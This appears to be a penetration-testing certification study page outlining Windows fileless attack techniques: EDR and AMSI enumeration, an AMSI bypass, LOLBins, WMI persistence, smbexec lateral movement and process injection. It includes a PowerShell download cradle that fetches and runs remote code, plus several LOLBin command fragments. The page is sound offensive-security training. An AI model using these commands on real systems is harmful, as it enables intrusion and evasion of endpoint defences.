# Fileless Attacks & Evasion

> Enumerate EDR and AMSI, execute PowerShell in memory, abuse LOLBins and WMI subscriptions, pivot with named-pipe lateral movement, and inject into trusted processes.

- **URL:** https://hackindex.io/learn/pt2-penetration-tester-level-2-study-path/fileless-attacks-and-evasion
- **Certification:** [PT2 (Penetration Tester Level 2) Study Path](https://hackindex.io/learn/pt2-penetration-tester-level-2-study-path.md)
- **Estimated study hours:** 10
- **Published:** 2026-10-04
- **Updated:** 2026-10-04

Modern endpoint protection scans files. Fileless attacks shift the entire execution path off disk: PowerShell payloads loaded straight into memory, native Windows binaries (LOLBins) doing the attacker's work, WMI event subscriptions storing persistence in a system database instead of a file, and process injection running code inside a trusted process so nothing new ever appears in a process listing. PT2 tests whether you can enumerate the defensive posture, pick the fileless primitive that evades it, and persist in a way file-based scanners never see.

## Defensive Enumeration

Baseline before any evasion attempt: what AV product is installed, Defender real-time status, AMSI provider state, AppLocker rules, Credential Guard, LSA protection. Each one disables or detects a specific class of fileless technique; the one not deployed is the one to lean on.

## In-Memory Execution

PowerShell download cradles (`IEX (New-Object Net.WebClient).DownloadString('http://...')`) load remote scripts straight into memory. `-EncodedCommand` hides base64-encoded commands from casual process-command-line inspection (expects UTF-16LE encoding). AMSI intercepts decoded script content before execution; bypass by patching `AmsiUtils.amsiInitFailed` via reflection, process-scoped and leaves no on-disk trace.

## LOLBins

Signed Windows binaries whitelisted by every application control policy, instructed to do things they were never meant to: `mshta.exe` executes HTA with embedded VBScript, `regsvr32 /n /u /i: scrobj.dll` runs remote scriptlets (Squiblydoo), `certutil -urlcache` downloads files and `-decode` base64, `wmic /format:` executes remote XSL stylesheets with embedded JScript, `rundll32` calls DLL exports. Process lineage is attacker code running under a Microsoft-signed parent.

## WMI Execution And Persistence

WMI is the admin backbone every monitoring tool expects to see active. `Win32_Process.Create` spawns processes as a child of `WmiPrvSE.exe`, not `cmd.exe`. Event subscriptions (`__EventFilter` + `ActiveScriptEventConsumer` + `__FilterToConsumerBinding`) store a VBScript payload inside the WMI repository on disk, invisible to file-based AV, triggered by any WQL event (uptime, process start, registry change).

## Named-Pipe Lateral Movement

psexec drops a service binary to `ADMIN$` and registers it via `\pipe\svcctl` for execution. smbexec sets the service binary path to `cmd.exe /c ...` and skips the drop entirely, pure fileless lateral movement over SMB. Same SCM mechanism, different footprint.

## Process Injection

`VirtualAllocEx` + `WriteProcessMemory` + `CreateRemoteThread` runs shellcode inside a running process. Reflective DLL injection skips `LoadLibrary` so no new module appears in the target's module list. Process hollowing starts a legitimate process suspended, replaces its image with your payload, resumes. Meterpreter `migrate` wraps the whole workflow for operators.

## Persistence Without Files

Registry autoruns, scheduled tasks with inline PowerShell, service manipulation on existing services, and COM hijacking all persist without dropping a PE. WMI event subscriptions are the quietest, surviving reboots and most incident response actions that focus on file artifacts.

## Study material

- [Windows Antivirus and EDR Enumeration](https://hackindex.io/platforms/windows/enumeration/windows-antivirus-and-edr-enumeration.md) (read, core)
- [Windows Service and Process Enumeration](https://hackindex.io/platforms/windows/enumeration/windows-service-and-process-enumeration.md) (read, core)
- [Windows Local Situational Awareness](https://hackindex.io/platforms/windows/post-exploitation/windows-local-situational-awareness.md) (read, core)
- [WMI Remote Execution for Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement/wmi-remote-execution.md) (read, core)
- [PsExec and SMB Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement/psexec-and-smb-lateral-movement.md) (read, core)
- [WinRM and PowerShell Remoting Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement/winrm-and-powershell-remoting.md) (read, core)
- [Windows Access Token Manipulation for Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation/access-token-manipulation.md) (read, core)
- [Windows Token and Credential Harvesting](https://hackindex.io/platforms/windows/post-exploitation/windows-token-and-credential-harvesting.md) (read, core)
- [Windows Registry Persistence](https://hackindex.io/platforms/windows/persistence/windows-registry-persistence.md) (read, core)
- [Windows Scheduled Task Persistence](https://hackindex.io/platforms/windows/persistence/windows-scheduled-task-persistence.md) (read, core)
- [Windows Service Persistence](https://hackindex.io/platforms/windows/persistence/windows-service-persistence.md) (read, core)